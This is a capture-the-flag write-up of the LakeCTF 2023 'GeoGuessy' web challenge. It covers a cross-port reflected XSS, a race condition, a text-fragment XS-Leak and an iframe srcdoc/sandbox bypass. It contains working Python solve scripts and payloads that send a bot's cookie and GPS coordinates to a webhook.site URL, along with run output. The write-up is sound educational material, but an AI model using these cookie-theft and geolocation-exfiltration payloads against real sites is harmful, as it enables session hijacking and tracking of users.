Featured image of post XSS, Race Condition, XS-Leaks and CSP & iframe's sandbox bypass - LakeCTF 2023 GeoGuessy

XSS, Race Condition, XS-Leaks and CSP & iframe's sandbox bypass - LakeCTF 2023 GeoGuessy

Exploiting XSS, XS-Leaks or Race condition to steal bot's GPS coordinates.

GeoGuessy

Description

This is NOT an OSINT challenge :) (PS: please have a working exploit locally before destroying the remote 🙏)

Introduction

I did not solve this challenge during the competition, but the writeups have provided fascinating insights. In this article, we’ll delve into two unintended solutions and also discuss the intended solution made by the challenge author.

Every solution generally involves three steps. However, there are several ways to complete the first step.

  1. Obtain a premium account.
    1. Using an XSS on another challenge (Unintended #1)
    2. Race condition on global user variable (Unintended #2)
    3. XS-Leaks using anchor text and lazy loading images (Intended solution)
  2. XSS against the bot to steal bot’s coordinates
  3. Obtain the flag

Obtain a premium account

Using an XSS on another challenge (Unintended #1)

Details based on deltaclock’s solution.

Reflected XSS:

The challenge is running on chall.polygl0ts.ch:9011, however there is a reflected XSS vulnerability in another challenge located on the same domain but a different port chall.polygl0ts.ch:9009.

The reflected XSS on the second web challenge allows us to access and steal the cookies of the current challenge which do not have a simple reflected XSS.

  • http://%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E:pass@chall.polygl0ts.ch:9009

Keep in mind this XSS, we will use it later.

Bot redirection:

When you want to play with the bot, you can start the bot using the route /bot and then, send an invitation link to the username of the bot. There is the workflow:

  1. Make the bot send an invitation to you and get the bot’s username.
  2. Send an invitation to the bot thanks to its username.
  3. The bot will call the play function and click on your invitation.
1
2
3
4
5
router.get("/bot", limiter, async (req, res) => {
    if (!req.query.username) return res.status(404).json('what are you even doing lol')
    botChallenge(req.query.username.toString(),premiumPin)
    return res.status(200).json('successfully received :)');
});
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
async function play(page) { // admin accepts all challenges :)
    while (true) {
      try {
        await sleep(100)
        linkHandlers = await page.$x("//a[contains(text(), 'Click here to play!')]");
        if (linkHandlers.length > 0) {
        await linkHandlers[0].click();
        }
    } catch (e) {
    }
    }
}

Example of a user receiving a challenge invitation:

Challenge invitation

As you can see above, the bot will click on every anchor that contains the text Click here to play!. You can use an HTML injection inside our username to add another link to the invitation send to the bot.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
router.post('/challengeUser', async (req, res) => {
    token = req.cookies["token"]
    if (token) {
        user = await db.getUserBy("token", token)

        if (user && req.body["username"] && req.body["duelID"]) {
            targetUser = await db.getUserBy("username", req.body["username"].toString())
            if (!targetUser)
                return res.status(401).json('who dis?');

            chall = await db.getChallengeById(req.body["duelID"].toString())
            if (!chall)
                return res.status(401).json('huh?');
            
            // user.username contains the HTML injection
            db.addNotificationToUserToken(targetUser.token, `${user.username} has challenged you to a game! <a href="/challenge?id=${chall.id}">Click here to play!</a>`)
            return res.status(200).json('yes ok');
        }
    }
    return res.status(401).json('no');
});
1
2
3
4
socket.on("notifications", (data) => {
    // ...
    notificationsList.innerHTML = DOMPurify.sanitize(notifHTML);
});

We cannot directly insert an XSS in our username as DOMPurify (latest version) is used on the client-side application. But we can create a link in our username containing the text Click here to play!. So, the bot will be redirected wherever we want!

Chaining redirection and XSS:

We can chain this bot redirection with the previous reflected XSS vulnerability to steal the bot’s cookie and become premium!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
WEBHOOK = "https://webhook.site/c3a60869-6a80-4117-b7d4-693c4ba93af6"

REFLECTED_XSS = urllib.parse.quote_plus(f"<script>fetch('{WEBHOOK}?'.concat(document.cookie))</script>")
XSS_STEAL_TOKEN = f'<a href="http://{REFLECTED_XSS}:pass@chall.polygl0ts.ch:9009/">Click here to play!</a>'


def leak_admin_token():
    """
    Leak admin token (cookies).

    1. Register a user with an XSS inside its username.
    2. Retrieve the admin username from the notification game send by the bot.
    3. Send a duel challenge to the admin with the XSS.
    4. Receive the admin token on our webhook thanks to the XSS.
    """
    user_xss = User()
    user_xss.register()
    user_xss.change_username(XSS_STEAL_TOKEN)
    challenge_id = user_xss.create_challenge()

    user_recv_invit = User()
    user_recv_invit.register()
    user_recv_invit.bot_recv_invitation()
    admin_username, _ = user_recv_invit.get_notification()

    user_xss.challenge_user(challenge_id, admin_username)

leak_admin_token()
# https://webhook.site/c3a60869-6a80-4117-b7d4-693c4ba93af6?token=9d31e6fb14d02f0cf646c230b650cd8a

Script execution output:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
[20ecddd2690b291bba96c5d49432166c] Registered as: RoughHurt2208
[20ecddd2690b291bba96c5d49432166c] Username updated to: <a href="http://%3Cscript%3Efetch%28%27https%3A%2F%2Fwebhook.site%2Fc3a60869-6a80-4117-b7d4-693c4ba93af6%3F%27.concat%28document.cookie%29%29%3C%2Fscript%3E:pass@chall.polygl0ts.ch:9009/">Click here to play!</a>
[20ecddd2690b291bba96c5d49432166c] Challenge '0fb579eb211d294eba586d80fce5aadf' created with OpenLayersVersion:
[2995247d09fecd4f7bb3889d9c992799] Registered as: VigorousBoard1479
[2995247d09fecd4f7bb3889d9c992799] Bot send an invitation to: VigorousBoard1479
[2995247d09fecd4f7bb3889d9c992799] Connecting to socket.io...
[2995247d09fecd4f7bb3889d9c992799] Received: ['status', 'authSuccess']
[2995247d09fecd4f7bb3889d9c992799] Received: ['notifications', []]
[2995247d09fecd4f7bb3889d9c992799] Received: ['notifications', ['FrenchSize8523 has challenged you to a game! <a href="/challenge?id=4d6ca7d6e29aadd2eade7f8f82fefdff">Click here to play!</a>']]
[2995247d09fecd4f7bb3889d9c992799] Received a game request from 'FrenchSize8523' for challenge '4d6ca7d6e29aadd2eade7f8f82fefdff'.
[20ecddd2690b291bba96c5d49432166c] Challenge sent to: FrenchSize8523

Race condition on global user variable (Unintended #2)

Details based on strellic’s solution.

Another method to obtain a premium account exploits the fact that the user variable is global in the routes/index.js file. By registering a user simultaneously as the bot enters a premium PIN to upgrade its account to premium, the attacker’s user account will become premium instead of the bot’s account.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
router.get('/', async (req, res) => {
    user = await db.getUserBy("token", req.cookies?.token)
    // ...
});

router.get('/register', async (req, res) => {
    token  = crypto.randomBytes(16).toString('hex');
    username = generateUsername()
    // [...]
    await db.registerUser(username, token);
    res.setHeader('Set-Cookie',`token=${token}`);
    return res.render('welcome', {username, token});
});

router.post('/updateUser', async (req, res) => {
    token = req.cookies["token"]
    if (token) {
        user = await db.getUserBy("token", token)
        if (user) {
            enteredPremiumPin = req.body["premiumPin"]
            if (enteredPremiumPin) {
                enteredPremiumPin = enteredPremiumPin.toString()
                if (enteredPremiumPin == premiumPin) {
                    user.isPremium = 1 // <---- Bot will trigger this
                } else {
                    return res.status(401).json('wrong premium pin');
                }
            }
            // [...]
    }
    return res.status(401).json('no');
});

To automate the race condition, I’ve developed a Python script, which you can see below:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
import threading
import sys
from time import sleep

from user import User


def register_and_check():
    """Register a user and check if it is premium."""
    user = User()
    user.register()

    sleep(1)
    if user.check_premium():
        print(f"[{user.token}] Premium user found: {user.username} !!!!!!!!!!!!!!!!!!!!!!")
        sys.exit(0)
    else:
        print(f"[{user.token}] {user.username} is not premium :(")

def obtain_premium_user():
    """
    Obtain a premium user.
    
    1. Register a user and ask the bot to send an invitation to itself.
    2. Register multiple users in parallel to exploit a race condition between 'updateUser' and 'register'.
    3. Check if one of the user is premium.
    """
    threads = []

    user_run_bot = User()
    user_run_bot.register()
    user_run_bot.bot_recv_invitation()

    number_of_users = 30
    sleep(0.8)
    for _ in range(number_of_users):
        thread = threading.Thread(target=register_and_check)
        threads.append(thread)
        thread.start()
        sleep(0.05)
    
    for thread in threads:
        thread.join()

if __name__ == "__main__":
    obtain_premium_user()

Quickly after running the script, we successfully obtain a premium account!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ python3 workflow_race.py
[068ec97e07f77a7fc421d30f2ba5caec] Registered as: IgnorantArt4455
[068ec97e07f77a7fc421d30f2ba5caec] Bot send an invitation to: IgnorantArt4455
[697c5496912e36412f304e1909f056ff] Registered as: CaninePerception7932
[f4b0cb37bb77271f61e64ea9b5e6e2df] Registered as: CapitalGrade3691
[ca99279ac37efc688846ae3e0098779f] Registered as: ClumsyBet6554
[9b43ff4813c07feef7800654147d0b25] Registered as: DrearyAddition9269
[27191995a85630eaf5c3cbda7994cd67] Registered as: WorseDatabase538
[b6f8ee766ebef10b6e0030dbae2605bf] Registered as: CautiousWelcome9613
[80e4d9eb99ce13f7207d8c9a717ca560] Registered as: PuzzledAdvance6260
[6cbd9a953c0858c747886e030035801c] Registered as: NovelCancer8356
[11edf35e5df139c10659b084915d3531] Registered as: CleverRich7660
[4f9a9b63d4b023da140c50e222e0e44f] Registered as: HappyTelevision858
[4f9a9b63d4b023da140c50e222e0e44f] Registered as: HappyTelevision858
[eba79b4ca5d24695c8b0bb3b6e8e6266] Registered as: IgnorantBeing5948
[03d83a8ba88f12de211b6890167e7db4] Registered as: Far-offSentence6259
[aed123e8bbc24916191d744cd327b923] Registered as: TurbulentSignal2480
[527c2f33957a9dfda3d76480c1c6c1c2] Registered as: EllipticalType5668
[7a6175f88165a634c72d509f5811d1bf] Registered as: PrivateBike1436
[709d3daedcc12dfdb3de74559cf59ba3] Registered as: WonderfulSystem8145
[d3975b6af74dd2a562f13d3a97706f90] Registered as: InfamousIron2087
[5011edd48f834bd7321d55f9474ee1ce] Registered as: KaleidoscopicRemote4902
[dae7cc3f170097b24527ce9b71019c90] Registered as: HeartyImpress7113
[697c5496912e36412f304e1909f056ff] CaninePerception7932 is not premium :(
[d7befb049e344f99b420ed9e9ad5b0a6] Registered as: UnripeProof2269
[c8c4e0b2283ce5d90ea65de0f39d9310] Registered as: FineSignificance2232
[f4b0cb37bb77271f61e64ea9b5e6e2df] CapitalGrade3691 is not premium :(
[ca99279ac37efc688846ae3e0098779f] Premium user found: ClumsyBet6554 !!!!!!!!!!!!!!!!!!!!!!

XS-Leaks using anchor text and lazy loading images (Intended solution)

Details based on pilvar’s solution (challenge author).

To be honest, I didn’t have the motivation to develop a full exploit script for this solution, so I will only outline the theoretical method of exploitation.

  1. Redirect the bot to your webhook using the Click here to play! technique as previously discussed.
  2. Open a new page within a window of fixed size featuring a scroll bar. The purpose of this is to hide the notifications section, we will see later why.
  3. Utilize Chrome’s Backward/Forward cache (bfcache) to return to the settings page with the premium PIN still present in the input form.
  4. Modify the opener URL using a Text Fragment (e.g., https://example.com#:~:text=[prefix-,]textStart[,textEnd][,-suffix]) to search for the PIN within the page content.
    1. Before changing the opener URL, send a notification to the bot containing the numbers of the PIN you wish to find, and attach a loading lazy image pointing to your webhook.
    2. If the PIN in the Text fragments is correct, the page won’t scroll. Otherwise, the user will scroll to the notification area, triggering the automatic loading of the image.

Now you have a method to extract the nine digits of the PIN, for example, by revealing three digits at a time.

XSS against the bot

Now that we have a premium account (user.isPremium is true), we can specify the winText and OpenLayersVersion variables when we create challenge. A non-premium account can also create challenges but winText and OpenLayersVersion are hardcoded with a default value.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
router.post('/createChallenge', async (req, res) => {
    token = req.cookies["token"]
    if (token) {
        user = await db.getUserBy("token", token)
        
        if (user && req.body["longitude"] && req.body["latitude"] && req.body["img"]) {
            chalId = crypto.randomBytes(16).toString('hex')
            if (user.isPremium) {
                if ((!req.body["winText"]) || (!req.body["OpenLayersVersion"]))
                    return res.status(401).json('huh');
                winText = req.body["winText"].toString()
                OpenLayersVersion = req.body["OpenLayersVersion"].toString()
            } else {
                winText = "Well played! :D"
                OpenLayersVersion = "2.13"
            }

            await db.createChallenge(chalId, user.token, req.body["longitude"].toString(), req.body["latitude"].toString(), req.body["img"].toString(), OpenLayersVersion, winText)
            return res.status(200).json(chalId);
        }
    }
    return res.status(401).json('no');
});

The route to view a challenge:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
sanitizeHTML = (input) => input.replaceAll("<","&lt;").replaceAll(">","&gt;")

router.get('/challenge', async (req, res) => {
    if (!req.query.id)
        return res.status(404).json('wher id');

    chall = await db.getChallengeById(req.query.id.toString())
    if (!chall)
        return res.status(404).json('no');
    
    libVersion = chall.OpenLayersVersion
    img = chall.image
    challId = chall.id
    iframeAttributes = "sandbox=\"allow-scripts allow-same-origin\" " // don't trust third party libs
    iframeAttributes += "src=\"/sandboxedChallenge?ver="+sanitizeHTML(libVersion)+"\" "
    iframeAttributes += "width=\"70%\" height=\"97%\" "
    res.render('challenge', {img, challId, iframeAttributes});
});

Challenge EJS page:

1
2
3
4
<div id="challId"><%= challId %></div>
<img src="data:image/png;base64,<%= img %>">
<iframe <%- iframeAttributes %>></iframe>
<button id="submitButton">Submit position</button>

As saw early, we can create a challenge and define the value of OpenLayersVersion. The sanitizeHTMLprevents us to escape the iframe tag, however we can add attributes to the HTML tag. Attributes such as onload or onclick are restricted by the Content-Security Policy (CSP). Nevertheless, the srcdoc attribute can be utilized, which supersedes the already defined src attribute. We can also add the geolocation to the sandbox attribute to be able to leak the GPS coordinates of the bot.

Within the srcdoc attribute, &#60; can be utilized in place of <, this will be still interpreted by our browser and allows us to bypass the sanitizeHTML function. We will use a redirection to our webhook, because the CSP blocks direct javascript execution inside srcdoc. Here’s how the final iframe looks like:

1
2
3
4
5
<iframe sandbox="allow-scripts allow-same-origin"
    src="/sandboxedChallenge?ver="
    srcdoc="&#60;meta http-equiv=\'refresh\' content=\'1; url={WEBHOOK}\'&#62;"
    allow="geolocation {WEBHOOK}" x="" width="70%" height="97%">
</iframe>

Here’s the content of my XSS inside my webhook to steal the bot’s coordinates:

1
2
3
4
5
6
7
<body>
    <script>
        navigator.geolocation.getCurrentPosition((pos) => {
            fetch(`https://webhook.site/c3a60869-6a80-4117-b7d4-693c4ba93af6/lat=${pos.coords.latitude}&lon=${pos.coords.longitude}`)
        });
    </script>
</body>

Here’s my solve script for this part:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
XSS_STEAL_COORDS = f'" srcdoc="&#60;meta http-equiv=\'refresh\' content=\'1; url={WEBHOOK}\'&#62;" allow="geolocation {WEBHOOK}" x="'


def leak_admin_gps(admin_token):
    """
    Leak admin GPS location.

    1. Use the admin account to create a challenge with an XSS inside the OpenLayersVersion parameter.
    2. Get the admin username by receiving the notification game send by the bot.
    3. Send a challenge request to the admin with the XSS.
    4. Receive the admin GPS location on our webhook thanks to the XSS.
    """
    premium_user = User(token=admin_token)
    challenge_id = premium_user.create_challenge(OpenLayersVersion=XSS_STEAL_COORDS)

    user_recv_invit = User()
    user_recv_invit.register()
    user_recv_invit.bot_recv_invitation()
    admin_username, _ = user_recv_invit.get_notification()

leak_admin_gps(admin_token="9d31e6fb14d02f0cf646c230b650cd8a")
# https://webhook.site/c3a60869-6a80-4117-b7d4-693c4ba93af6/lat=60.792937&lon=11.100984

Here’s the output:

1
2
3
4
5
6
7
8
9
[823fa49e380846156a4e78cd3ba6c346] Challenge 'c556bfaa3e57e8234aff4fe559de1d49' created with OpenLayersVersion: " srcdoc="&#60;meta http-equiv='refresh' content='1; url=https://webhook.site/c3a60869-6a80-4117-b7d4-693c4ba93af6'&#62;" allow="geolocation https://webhook.site/c3a60869-6a80-4117-b7d4-693c4ba93af6" x="
[c941e1b04bd79d753359b57c09e36b6c] Registered as: SpiritedApartment9854
[c941e1b04bd79d753359b57c09e36b6c] Bot send an invitation to: SpiritedApartment9854
[c941e1b04bd79d753359b57c09e36b6c] Connecting to socket.io...
[c941e1b04bd79d753359b57c09e36b6c] Received: ['status', 'authSuccess']
[c941e1b04bd79d753359b57c09e36b6c] Received: ['notifications', []]
[c941e1b04bd79d753359b57c09e36b6c] Received: ['notifications', ['DistortedSlice3492 has challenged you to a game! <a href="/challenge?id=766ec00653beea3a2aa116a4f992f6e0">Click here to play!</a>']]
[c941e1b04bd79d753359b57c09e36b6c] Received a game request from 'DistortedSlice3492' for challenge '766ec00653beea3a2aa116a4f992f6e0'.
[823fa49e380846156a4e78cd3ba6c346] Challenge sent to: DistortedSlice3492

Obtain the flag

Once we have the bot coordinates, we can win the bot’s challenge and obtain the flag!

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
def get_flag(latitude, longitude):
    """Get the flag by solving a challenge with the admin GPS location."""
    win_user = User()
    win_user.register()
    win_user.bot_recv_invitation()

    _, challenge_id = win_user.get_notification()
    flag = win_user.solve_challenge(challenge_id, latitude, longitude)
    print(f"{flag = }")

get_flag(latitude="60.792937", longitude="11.100984")
# EPFL{as a wise man once said, https://twitter.com/arkark_/status/1712773241218183203}

Execution of the script:

1
2
3
4
5
6
7
8
9
[43ea8c0e81990644f9b7e30a12ddc2ec] Registered as: UnpleasantWinner2868
[43ea8c0e81990644f9b7e30a12ddc2ec] Bot send an invitation to: UnpleasantWinner2868
[43ea8c0e81990644f9b7e30a12ddc2ec] Connecting to socket.io...
[43ea8c0e81990644f9b7e30a12ddc2ec] Received: ['status', 'authSuccess']
[43ea8c0e81990644f9b7e30a12ddc2ec] Received: ['notifications', []]
[43ea8c0e81990644f9b7e30a12ddc2ec] Received: ['notifications', ['DirtyPeople3320 has challenged you to a game! <a href="/challenge?id=2fb16891fce844d41eab9df526abc1c6">Click here to play!</a>']]
[43ea8c0e81990644f9b7e30a12ddc2ec] Received a game request from 'DirtyPeople3320' for challenge '2fb16891fce844d41eab9df526abc1c6'.
[43ea8c0e81990644f9b7e30a12ddc2ec] Challenge '2fb16891fce844d41eab9df526abc1c6' solved with latitude: 60.792937 and longitude: 11.100984
flag = 'EPFL{as a wise man once said, https://twitter.com/arkark_/status/1712773241218183203}'

We can get the flag EPFL{as a wise man once said, https://twitter.com/arkark_/status/1712773241218183203} !


For all my exploitation scripts, I used the following User class that I developed:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
import secrets

import requests
import socketio  # python3 -m pip install "python-socketio[client]"


URL = "https://chall.polygl0ts.ch:9011"
URL = "http://localhost:9011"

class User:

    def __init__(self, username=None, token=None):
        self.sess = requests.Session()
        self.username = username
        self.token = token
        self.sio = socketio.Client()

        if self.token:
            self.sess.cookies.set("token", self.token)

    def check_premium(self):
        """Check if the user is premium."""
        html = self.sess.get(URL).text
        return '<div id="isPremium">1</div>' in html

    def register(self):
        """Register a user on the application."""
        html = self.sess.get(URL + "/register").text
        self.username = html.split('<b id="username">')[1].split("</b>")[0]
        self.token = html.split('<b id="token">')[1].split("</b>")[0]
        print(f"[{self.token}] Registered as: {self.username}")

    def change_username(self, new_username):
        """Change the username of the user."""
        self.sess.post(URL + "/updateUser", json={
            "username": new_username + secrets.token_hex(8), # to avoid duplicate username
        })
        self.username = new_username
        print(f"[{self.token}] Username updated to: {self.username}")

    def bot_recv_invitation(self, target_username=None):
        """Make the bot invite the user to a game."""
        if target_username is None:
            target_username = self.username

        self.sess.get(URL + "/bot?username=" + target_username)
        print(f"[{self.token}] Bot send an invitation to: {target_username}")

    def challenge_user(self, challenge_id, target_username=None):
        """Challenge a user to a game."""
        if target_username is None:
            target_username = self.username

        self.sess.post(URL + "/challengeUser", json={
            "username": target_username,
            "duelID": challenge_id
        })
        print(f"[{self.token}] Challenge sent to: {target_username}")

    def get_notification(self):
        """Receive the notification game send by a game request."""
        print(f"[{self.token}] Connecting to socket.io...")
        with socketio.SimpleClient() as sio:
            sio.connect(URL)
            data = sio.receive()
            if data[1] == "auth":
                sio.emit("auth", self.token)
            
            while True:
                data = sio.receive()
                print(f"[{self.token}] Received: {data}")
                if data[0] == "notifications" and data[1]:
                    notifications = data[1][0]
                    username = notifications.split(" ")[0]
                    challenge_id = notifications.split("?id=")[1].split('"')[0]
                    print(f"[{self.token}] Received a game request from '{username}' for challenge '{challenge_id}'.")
                    sio.disconnect()
                    return username, challenge_id

    def create_challenge(self, longitude="0.0", latitude="0.0", img="abc", winText="xyz", OpenLayersVersion=""):
        """Create a challenge."""
        resp = self.sess.post(URL + "/createChallenge", json={
            "longitude": longitude,
            "latitude": latitude,
            "img": img,
            "winText": winText,
            "OpenLayersVersion": OpenLayersVersion
        })
        challenge_id = resp.text.strip('"')
        print(f"[{self.token}] Challenge '{challenge_id}' created with OpenLayersVersion: {OpenLayersVersion}")
        return challenge_id
    
    def solve_challenge(self, challenge_id, latitude, longitude):
        """Solve a challenge."""
        resp = self.sess.post(URL + "/solveChallenge", json={
            "challId": challenge_id,
            "longitude": longitude,
            "latitude": latitude
        })
        print(f"[{self.token}] Challenge '{challenge_id}' solved with latitude: {latitude} and longitude: {longitude}")
        return resp.text.strip('"')
Built with Hugo
Theme Stack designed by Jimmy